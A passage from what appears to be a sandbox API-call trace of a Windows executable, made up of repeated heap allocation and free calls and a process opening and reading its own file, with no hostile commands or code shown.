| out: hHeap=0x2ad0000) returned 1 [0074.728] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.728] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.728] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.728] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.728] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.728] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.728] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.729] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.729] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.729] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.729] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.729] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.729] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.729] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.729] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.729] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.729] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.729] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.729] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.729] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.729] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.729] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.729] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.729] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.730] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.730] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.730] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.730] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.730] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.730] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.730] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.730] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.730] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.730] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.730] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.730] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.730] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.730] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.730] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.731] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.731] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.731] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.731] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.731] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.731] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.731] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.731] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.731] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.731] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.731] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.731] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.731] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.731] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.731] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.731] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.731] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.731] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.732] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.732] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.732] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.732] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.732] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.732] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.732] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.732] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.732] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.732] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.732] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.732] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.732] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.732] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.732] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.732] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.732] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.732] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.732] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.733] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.733] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.733] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.733] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.733] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.733] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.733] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.733] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.733] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.733] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.733] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.733] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.733] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.737] GetCurrentThreadId () returned 0x9b0 [0074.737] GetCurrentThreadId () returned 0x9b0 [0074.737] GetCurrentThreadId () returned 0x9b0 [0074.737] GetCurrentThreadId () returned 0x9b0 [0074.737] GetCurrentThreadId () returned 0x9b0 [0074.738] GetCurrentThreadId () returned 0x9b0 [0074.738] GetCurrentThreadId () returned 0x9b0 [0074.738] GetLastError () returned 0x0 [0074.738] GetCurrentThreadId () returned 0x9b0 [0074.738] GetLastError () returned 0x0 [0074.738] GetCurrentThreadId () returned 0x9b0 [0074.738] GetLastError () returned 0x0 [0074.738] GetCurrentThreadId () returned 0x9b0 [0074.738] GetLastError () returned 0x0 [0074.738] GetCurrentThreadId () returned 0x9b0 [0074.738] GetLastError () returned 0x0 [0074.738] GetCurrentThreadId () returned 0x9b0 [0074.738] GetLastError () returned 0x0 [0074.739] GetCurrentThreadId () returned 0x9b0 [0074.739] GetLastError () returned 0x0 [0074.739] GetCurrentThreadId () returned 0x9b0 [0074.739] GetLastError () returned 0x0 [0074.739] GetCurrentThreadId () returned 0x9b0 [0074.739] GetLastError () returned 0x0 [0074.739] GetCurrentThreadId () returned 0x9b0 [0074.739] GetLastError () returned 0x0 [0074.739] GetCurrentThreadId () returned 0x9b0 [0074.739] GetLastError () returned 0x0 [0074.739] GetCurrentThreadId () returned 0x9b0 [0074.739] GetLastError () returned 0x0 [0074.739] GetCurrentThreadId () returned 0x9b0 [0074.739] GetLastError () returned 0x0 [0074.739] GetCurrentThreadId () returned 0x9b0 [0074.739] GetLastError () returned 0x0 [0074.739] GetCurrentThreadId () returned 0x9b0 [0074.739] GetLastError () returned 0x0 [0074.739] GetCurrentThreadId () returned 0x9b0 [0074.739] GetLastError () returned 0x0 [0074.739] GetCurrentThreadId () returned 0x9b0 [0074.739] GetLastError () returned 0x0 [0074.739] GetCurrentThreadId () returned 0x9b0 [0074.739] GetLastError () returned 0x0 [0074.740] GetCurrentThreadId () returned 0x9b0 [0074.740] GetLastError () returned 0x0 [0074.740] GetCurrentThreadId () returned 0x9b0 [0074.740] GetLastError () returned 0x0 [0074.740] GetCurrentThreadId () returned 0x9b0 [0074.740] GetLastError () returned 0x0 [0074.740] GetCurrentThreadId () returned 0x9b0 [0074.740] GetLastError () returned 0x0 [0074.740] GetCurrentThreadId () returned 0x9b0 [0074.740] GetLastError () returned 0x0 [0074.740] GetCurrentThreadId () returned 0x9b0 [0074.740] GetLastError () returned 0x0 [0074.740] GetCurrentThreadId () returned 0x9b0 [0074.740] GetLastError () returned 0x0 [0074.740] GetCurrentThreadId () returned 0x9b0 [0074.740] GetLastError () returned 0x0 [0074.740] GetCurrentThreadId () returned 0x9b0 [0074.740] GetLastError () returned 0x0 [0074.740] GetCurrentThreadId () returned 0x9b0 [0074.740] GetLastError () returned 0x0 [0074.740] GetCurrentThreadId () returned 0x9b0 [0074.740] GetLastError () returned 0x0 [0074.740] GetCurrentThreadId () returned 0x9b0 [0074.740] GetLastError () returned 0x0 [0074.741] GetCurrentThreadId () returned 0x9b0 [0074.741] GetLastError () returned 0x0 [0074.741] GetCurrentThreadId () returned 0x9b0 [0074.741] GetLastError () returned 0x0 [0074.741] GetCurrentThreadId () returned 0x9b0 [0074.741] GetLastError () returned 0x0 [0074.741] GetCurrentThreadId () returned 0x9b0 [0074.741] GetLastError () returned 0x0 [0074.741] GetCurrentThreadId () returned 0x9b0 [0074.741] GetLastError () returned 0x0 [0074.741] GetCurrentThreadId () returned 0x9b0 [0074.741] GetLastError () returned 0x0 [0074.741] GetCurrentThreadId () returned 0x9b0 [0074.741] GetLastError () returned 0x0 [0074.741] GetCurrentThreadId () returned 0x9b0 [0074.741] GetLastError () returned 0x0 [0074.741] GetCurrentThreadId () returned 0x9b0 [0074.741] GetLastError () returned 0x0 [0074.741] GetCurrentThreadId () returned 0x9b0 [0074.741] GetLastError () returned 0x0 [0074.741] GetCurrentThreadId () returned 0x9b0 [0074.741] GetLastError () returned 0x0 [0074.741] GetCurrentThreadId () returned 0x9b0 [0074.741] GetLastError () returned 0x0 [0074.742] GetCurrentThreadId () returned 0x9b0 [0074.742] GetLastError () returned 0x0 [0074.742] GetCurrentThreadId () returned 0x9b0 [0074.742] GetLastError () returned 0x0 [0074.742] GetCurrentThreadId () returned 0x9b0 [0074.742] GetCurrentThreadId () returned 0x9b0 [0074.742] GetCurrentThreadId () returned 0x9b0 [0074.742] GetCurrentThreadId () returned 0x9b0 [0074.742] GetCurrentThreadId () returned 0x9b0 [0074.742] GetCurrentThreadId () returned 0x9b0 [0074.742] GetCurrentThreadId () returned 0x9b0 [0074.742] GetCurrentThreadId () returned 0x9b0 [0074.742] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fb00, Size=0x40) returned 0x2a19328 [0074.742] GetCurrentThreadId () returned 0x9b0 [0074.742] GetCurrentThreadId () returned 0x9b0 [0074.742] GetCurrentThreadId () returned 0x9b0 [0074.742] GetCurrentThreadId () returned 0x9b0 [0074.742] GetCurrentThreadId () returned 0x9b0 [0074.742] GetCurrentThreadId () returned 0x9b0 [0074.743] GetCurrentThreadId () returned 0x9b0 [0074.743] GetCurrentThreadId () returned 0x9b0 [0074.743] GetCurrentThreadId () returned 0x9b0 [0074.743] GetCurrentThreadId () returned 0x9b0 [0074.743] GetCurrentThreadId () returned 0x9b0 [0074.743] GetCurrentThreadId () returned 0x9b0 [0074.743] GetCurrentThreadId () returned 0x9b0 [0074.743] GetCurrentThreadId () returned 0x9b0 [0074.743] GetLastError () returned 0x0 [0074.743] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b78d8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0074.743] GetFileType (hFile=0x1ec) returned 0x1 [0074.743] GetLastError () returned 0x0 [0074.743] GetCurrentThreadId () returned 0x9b0 [0074.743] GetLastError () returned 0x0 [0074.743] GetFileType (hFile=0x1ec) returned 0x1 [0074.743] GetFileInformationByHandle (in: hFile=0x1ec, lpFileInformation=0x9b7954 | out: lpFileInformation=0x9b7954) returned 1 [0074.743] FileTimeToLocalFileTime (in: lpFileTime=0x9b7968, lpLocalFileTime=0x9b7998 | out: lpLocalFileTime=0x9b7998) returned 1 [0074.743] FileTimeToSystemTime (in: lpFileTime=0x9b7998, lpSystemTime=0x9b7988 | out: lpSystemTime=0x9b7988) returned 1 [0074.743] FileTimeToLocalFileTime (in: lpFileTime=0x9b7960, lpLocalFileTime=0x9b7998 | out: lpLocalFileTime=0x9b7998) returned 1 [0074.743] FileTimeToSystemTime (in: lpFileTime=0x9b7998, lpSystemTime=0x9b7988 | out: lpSystemTime=0x9b7988) returned 1 [0074.744] FileTimeToLocalFileTime (in: lpFileTime=0x9b7958, lpLocalFileTime=0x9b7998 | out: lpLocalFileTime=0x9b7998) returned 1 [0074.744] FileTimeToSystemTime (in: lpFileTime=0x9b7998, lpSystemTime=0x9b7988 | out: lpSystemTime=0x9b7988) returned 1 [0074.744] GetLastError () returned 0x0 [0074.744] GetCurrentThreadId () returned 0x9b0 [0074.744] GetLastError () returned 0x0 [0074.744] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aed0 | out: hHeap=0x2ad0000) returned 1 [0074.744] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ffe8 | out: hHeap=0x2ad0000) returned 1 [0074.744] GetLastError () returned 0x0 [0074.744] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=8829848, lpDistanceToMoveHigh=0x9b7a08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b7a08*=0) returned 0x86bb98 [0074.744] GetLastError () returned 0x0 [0074.744] GetCurrentThreadId () returned 0x9b0 [0074.744] GetLastError () returned 0x0 [0074.744] GetCurrentThreadId () returned 0x9b0 [0074.744] GetCurrentThreadId () returned 0x9b0 [0074.744] GetLastError () returned 0x0 [0074.744] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=7938800, lpDistanceToMoveHigh=0x9b7da0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b7da0*=0) returned 0x7922f0 [0074.744] GetLastError () returned 0x0 [0074.744] GetCurrentThreadId () returned 0x9b0 [0074.744] GetLastError () returned 0x0 [0074.744] GetCurrentThreadId () returned 0x9b0 [0074.744] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3a4) returned 0x2cbc1a8 [0074.744] GetLastError () returned 0x0 [0074.745] ReadFile (in: hFile=0x1ec, lpBuffer=0x2cc14c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b7d54, lpOverlapped=0x0 | out: lpBuffer=0x2cc14c0*, lpNumberOfBytesRead=0x9b7d54*=0x1000, lpOverlapped=0x0) returned 1 [0074.745] GetLastError () returned 0x0 [0074.745] GetCurrentThreadId () returned 0x9b0 [0074.745] GetLastError () returned 0x0 [0074.745] GetCurrentThreadId () returned 0x9b0 [0074.745] GetLastError () returned 0x0 [0074.745] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b6a2c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b6a2c*=0) returned 0x7932f0 [0074.746] GetLastError () returned 0x0 [0074.746] GetCurrentThreadId () returned 0x9b0 [0074.746] GetLastError () returned 0x0 [0074.746] GetLastError () returned 0x0 [0074.746] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc14c0 | out: hHeap=0x2ad0000) returned 1 [0074.746] CloseHandle (hObject=0x1ec) returned 1 [0074.746] GetLastError () returned 0x0 [0074.746] GetCurrentThreadId () returned 0x9b0 [0074.746] GetLastError () returned 0x0 [0074.746] GetLastError () returned 0x0 [0074.746] GetCurrentThreadId () returned 0x9b0 [0074.746] GetLastError () returned 0x0 [0074.746] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa1980 | out: hHeap=0x2ad0000) returned 1 [0074.746] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3020048, Size=0x6e5) returned 0x3020048 [0074.746] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbc1a8 | out: hHeap=0x2ad0000) returned 1 [0074.746] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8160 [0074.746] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca8160, Size=0x20) returned 0x2a1f920 [0074.746] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1f920, Size=0x40) returned 0x2a18c20 [0074.746] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18c20, Size=0x64) returned 0x2a19818 [0074.746] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19818, Size=0x8c) returned 0x2ac0618 [0074.746] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac0618 | out: hHeap=0x2ad0000) returned 1 [0074.747] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3020048 | out: hHeap=0x2ad0000) returned 1 [0074.747] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af50 [0074.747] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af50 | out: hHeap=0x2ad0000) returned 1 [0074.747] GetCurrentThreadId () returned 0x9b0 [0074.747] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbc900 [0074.747] GetCurrentThreadId () returned 0x9b0 [0074.747] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba75e8 | out: hHeap=0x2ad0000) returned 1 [0074.747] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7a48 | out: hHeap=0x2ad0000) returned 1 [0074.747] GetCurrentThreadId () returned 0x9b0 [0074.747] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a96fe0 [0074.747] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbb828 | out: hHeap=0x2ad0000) returned 1 [0074.747] GetCurrentThreadId () returned 0x9b0 [0074.747] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8308 [0074.747] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7b60 [0074.747] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8bc8 [0074.747] GetCurrentThreadId () returned 0x9b0 [0074.747] GetCurrentThreadId () returned 0x9b0 [0074.747] GetCurrentThreadId () returned 0x9b0 [0074.747] GetCurrentThreadId () returned 0x9b0 [0074.747] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8bc8 | out: hHeap=0x2ad0000) returned 1 [0074.747] GetCurrentThreadId () returned 0x9b0 [0074.747] GetCurrentThreadId () returned 0x9b0 [0074.747] GetLastError () returned 0x0 [0074.747] GetLastError () returned 0x0 [0074.747] GetLastError () returned 0x0 [0074.748] GetLastError () returned 0x0 [0074.748] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8088 | out: hHeap=0x2ad0000) returned 1 [0074.748] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8af10 [0074.748] GetLastError () returned 0x0 [0074.748] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b78d8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0074.748] GetFileType (hFile=0x1ec) returned 0x1 [0074.748] GetLastError () returned 0x0 [0074.748] GetCurrentThreadId () returned 0x9b0 [0074.748] GetLastError () returned 0x0 [0074.748] GetFileType (hFile=0x1ec) returned 0x1 [0074.748] GetFileInformationByHandle (in: hFile=0x1ec, lpFileInformation=0x9b7954 | out: lpFileInformation=0x9b7954) returned 1 [0074.748] FileTimeToLocalFileTime (in: lpFileTime=0x9b7968, lpLocalFileTime=0x9b7998 | out: lpLocalFileTime=0x9b7998) returned 1 [0074.748] FileTimeToSystemTime (in: lpFileTime=0x9b7998, lpSystemTime=0x9b7988 | out: lpSystemTime=0x9b7988) returned 1 [0074.748] FileTimeToLocalFileTime (in: lpFileTime=0x9b7960, lpLocalFileTime=0x9b7998 | out: lpLocalFileTime=0x9b7998) returned 1 [0074.748] FileTimeToSystemTime (in: lpFileTime=0x9b7998, lpSystemTime=0x9b7988 | out: lpSystemTime=0x9b7988) returned 1 [0074.748] FileTimeToLocalFileTime (in: lpFileTime=0x9b7958, lpLocalFileTime=0x9b7998 | out: lpLocalFileTime=0x9b7998) returned 1 [0074.748] FileTimeToSystemTime (in: lpFileTime=0x9b7998, lpSystemTime=0x9b7988 | out: lpSystemTime=0x9b7988) returned 1 [0074.748] GetLastError () returned 0x0 [0074.748] GetCurrentThreadId () returned 0x9b0 [0074.748] GetLastError () returned 0x0 [0074.749] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af10 | out: hHeap=0x2ad0000) returned 1 [0074.749] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ffe8 | out: hHeap=0x2ad0000) returned 1 [0074.749] GetLastError () returned 0x0 [0074.749] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=7939711, lpDistanceToMoveHigh=0x9b7a08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b7a08*=0) returned 0x79267f [0074.749] GetLastError () returned 0x0 [0074.749] GetCurrentThreadId () returned 0x9b0 [0074.749] GetLastError () returned 0x0 [0074.749] GetCurrentThreadId () returned 0x9b0 [0074.749] GetCurrentThreadId () returned 0x9b0 [0074.749] GetLastError () returned 0x0 [0074.749] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=8608157, lpDistanceToMoveHigh=0x9b7da0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b7da0*=0) returned 0x83599d [0074.749] GetLastError () returned 0x0 [0074.749] GetCurrentThreadId () returned 0x9b0 [0074.749] GetLastError () returned 0x0 [0074.749] GetCurrentThreadId () returned 0x9b0 [0074.749] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x320c) returned 0x3020048 [0074.749] GetLastError () returned 0x0 [0074.749] ReadFile (in: hFile=0x1ec, lpBuffer=0x302005c, nNumberOfBytesToRead=0x3000, 